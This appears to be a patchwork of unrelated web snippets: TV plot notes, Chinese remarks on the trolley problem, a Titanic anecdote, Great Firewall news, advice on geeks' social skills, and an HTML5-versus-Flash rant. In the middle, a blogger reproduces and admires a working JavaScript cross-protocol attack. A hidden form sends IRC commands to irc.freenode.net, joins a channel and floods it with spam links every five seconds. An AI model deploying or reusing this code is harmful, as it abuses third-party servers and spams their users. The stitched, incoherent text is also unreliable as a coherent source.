Having worked on the Mars rover project, he invited his date, Dr. Stephanie Barnett, to drive it at a secret facility. Instead, the rover became stuck in a Martian ditch and he spent the rest of the night with Sheldon and Raj trying to repair the damage. When this proved unsuccessful, he decided to erase the hard drives of the facility to cover up his doings.
Hobnox is an online entertainment platform which unites broadcast quality media with social networking and cutting edge technology. Come to Hobnox to watch, connect, collaborate and create
I tried to use Google Pages, and Google Sites, but it sucked like hell. You can’t even add anonymous comments section for a page. I really think Google killed Jotspot.
就我来说,是肯定不会扳的。理由是:岔道的那一个人,正如后来例子里那个胖子,是无辜的,也是不知情的。但是5个铁道工,他们的职业本身就包含了被撞这个风险,说不定他们已经买了保险。这个时候,刹车出问题导致的事故,这个是意料之中的不幸。5命 vs 1命只是你的主观判断,一般来说都是有主观偏差(subjective bias)的。
consequentialist 会导致 Utilitarianism
Categorical,和上面的相对,代表人是康德,认为wrong的事情不只是最后的后果,而是act过程中就属于wrong。there are certain things that are just categorically wrong even if they brings about a good result
It was scrapped at the end of filming, which is heartbreaking because it is the most accurate replica of the Titanic ever made. When Titanic Historian and foremost illustrator Ken Marschall visited the set he was so taken aback he had tears in his eyes. Every little detail was covered to make it as realistic as possible.
More than a million people in China, including human rights activists and expatriates, are using special software to circumvent the nation’s complex online censorship system, known as the “Great Firewall” This has created a booming market for software companies, which are capitalizing on the growing desire of China’s Internet users to fanqiang, or scale the wall, to visit Web sites like Facebook, YouTube and Twitter.
<form method="post" target="y" action="http://irc.freenode.net:6667/" enctype="text/plain" id="f" style="display:none">
<textarea name="x" id="x"></textarea>
</form>
<script type="text/javascript">
/*
* Generate a random string of characters to use for an IRC nick
*/
function rnd(){
var chars="abcdefghijklmnopqrstuvwxyz";
var r='';
var length=Math.floor(Math.random()*10+3);
for (var i=0;i<length;i++){
var rnum=Math.floor(Math.random() * chars.length);
r += chars.substring(rnum, rnum+1);
}
return r;
}
function lol(){
/* Grab a reference to the textarea */
var x = document.getElementById('x');
/* Grab a reference to the form itself */
var f = document.getElementById('f');
/* Generate a fake user-name */
var i = rnd();
/* Generate a fake nick */
var n = rnd();
/*
* Build a series of IRC commands into a string:
* - Set the username
* - Set the nick
* - Join the channel to spam (#redditdowntime)
* - Queue up a bunch of PRIVMSG commands to the channel with the spam link
*/
x.value='\r\nUSER '+i+' 8 * :'+n+'\r\nNICK '+n+'\r\nJOIN #redditdowntime\r\n'+new Array(99).join('PRIVMSG #redditdowntime :http://bit.ly/lolreddit\r\n')+'';
/* Submit the form, effectively sending the textarea contents to an IRC server */
f.submit();
/* Setup a loop for maximum irritation */
setTimeout(lol, 5000);
}
lol();
</script>
<h1>DIGG ROOLZ! REDDIT DROOLZ!</h1>
This is the most clever bits of JavaScript I think I’ve seen in recent months.
Thought I could learn something from it and worth blogging about it.
Conversations are a crucial channel to make non-geek friends.
Struggling with turn-taking
Geeks need to know half duplex talking interactions are happening synchronously. It’s interesting to see geeks are afraid of face-to-face talks, phone calls, but prefer IM, email, or text because the latter ones are asynchronous.
Obsessing over correctness and completeness
Blame the teachers and lessons we learned from incorrectness and incompleteness.
Preferring exact numerical responses
This one is easy, compile your figures before speaking for better human comprehension.
Using technical terms without checking for understanding
This is needed for zhuangbility
Focusing on the how rather than the what or the why
Think of IO, others might only interested in the output, results other than the internal process.
Favoring complexity and detail over simplicity in descriptions
Think of Occam’s Razor. In fact, you worked hard to make something marvelous, but others doesn’t really care or have little use with it. Your time & effort might be worthless to others. So speak to someone who really care or just simplify your ideas to make it most acceptable by everyone. Which means
Summary: marketing and advertising is more important than a blueprint or a manual. If you suck at human-to-human or human-to-earth interface you fail.
Fantasy: HTML5 is great for iPhone and other mobile devices Fact: iPhone is the new IE6.
Consider the amount of effort & hacks you invested into Trident-Webkit-Gecko test suits, now multiply it by 20 if you want to make a decent cross-platform webpage for mobiles
Fantasy: HTML5 is standard Fact: HTML5 is like the new <applet> which no one will bother install.
It’s just a bunch of code monkeys and tech-savvy hype around it, real end-users and consumers don’t give a shit. The de facto standard for the Web in the past decade was IE6.
Fantasy: Flash video sucks, it hogs my CPU! Fact: Blame Adobe and Apple. HTML5 hogging is more deadly, and since the HTML5 rendering is done inside the same process of normal HTML layout, the hogging is global and you can’t solve browser crashes by using a separate process for each plugin. According to Adobe, YUV-RGB and rich compositing is a performance penalty which HTML5 <video> tag can not avoid, too.
Fantasy: Flash ads is visual pollution to webpages Fact: ads made by <canvas> or SVG, generated dynamically via inline obsfucated Javascript is impossible to disable or block. You should rejoice that Flash is a thirdparty and can be easily blocked by NoFlash
Fantasy:<canvas> can overtake Flash Fact: Oh yeah? You expect artists & designers to create vector animations by writing numerous for and setTimeout? OK, you can invent a competent authoring tool against Flash or Flex that generates lots of for and setTimeout? Good. Now try stream a 1MB <canvas> animation full of for and setTimeout, and please provide a progress bar for a user to do arbitrary timeline jumps. Oh, btw, call me when WHATWG added FPS settings for <canvas>
Just FYI: Flash does much much more than a just plain canvas. If you think I am wrong, think again. If still, think harder.
Fantasy: WebGL can do 3D, yeah! Fact: So does DirectAnimation and VRML decades ago. It was limited only because scripting speed was limited those days. And still O3D and Unity3D is better than WebGL in many levels and has more realworld applications.
Fantasy:video tag is better than Flash Fact: native codec is better than Flash. What’s the difference between <video> and <embed> really? I was waiting to see WHATWG fail by re-inventing a full stack media player wheel, because soon the consumers will ask volume control over <video>, and brightness, tilt & rotate, stereo & DFX, subtitles, AV out, ahhhh fuck those shit.
Summary: HTML5 is a wonderful promise and well celebrated by developer communities, but let’s face it, it doesn’t really changes anything, and nobody talks about its awkwardness. CSS3 is still not re-usable, HTTP is still plaintext protocol which anyone can eavesdropping, tamper and censor. HCI improved a lot but the Web is extremely slow towards these changes. Perhaps the HTML5 was really designed to solve ‘how to stare at a 2D monitor properly with a mouse and keyboard’ problem only.
所谓的 feed over email 就是把网页打包在邮件里发给你。传说会支持youtube。说白了就是轮子那种天天发垃圾邮件的手段。用起来麻烦不说,墙要屏蔽这个工具,也只是动半根指头就搞定的事情。我估计这垃圾工具连网页图片显示都不会很好的支持。当然了,这种事情冤大头,又需要Gmail来当。如果Gmail因为这个foe(foe的英文单词意思:敌人)被封了,那就真的要双向草泥马了。